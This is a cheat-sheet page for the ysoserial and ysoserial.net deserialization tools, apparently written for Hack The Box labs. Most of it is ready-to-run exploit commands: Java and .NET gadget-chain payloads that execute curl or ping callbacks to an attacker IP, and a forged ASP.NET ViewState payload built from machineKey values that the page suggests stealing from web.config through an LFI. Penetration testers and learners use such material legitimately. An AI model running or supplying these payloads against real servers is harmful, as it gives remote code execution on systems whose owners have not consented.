ysoserial
ysoserial builds serialized objects that run a command when deserialized, thanks to gadget chains in well-known libraries (CommonsCollections in Java, TypeConfuseDelegate or TextFormattingRunProperties in .NET). Confirm execution first with a ping or an HTTP request to your machine.
- Platform
- Java (ysoserial) · .NET (ysoserial.net)
- Official site
- github.com/frohoff/ysoserial
- On HTB
- 8 machines
Install
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jarysoserial cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Java
Payload that calls back to your machine
java -jar ysoserial-all.jar CommonsCollections6 'curl http://10.10.14.5/ok' | base64 -w0It fails on Java 16 or later: use Java 11 (or a Docker container with Java 8).
.NET (ysoserial.net, from Windows)
Base64 object
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping 10.10.14.5" -o base64
JSON.NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping 10.10.14.5"
ViewState with the machineKey values
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"The keys come from web.config (for example, read through an LFI).
No command matches.
HTB machines where ysoserial is used
Taken from the chapters of IppSec videos where ysoserial shows up. The ▶ link jumps to the minute of that part.
Guides that use ysoserial
- Insecure deserialization: spotting and exploiting it in Java, .NET, PHP, Python and Node.js 4 min read Spot serialized data by its first bytes (rO0AB, AAEAAAD, O:, gASV), understand gadget chains and get RCE with ysoserial, ysoserial.net, phpggc and pickle.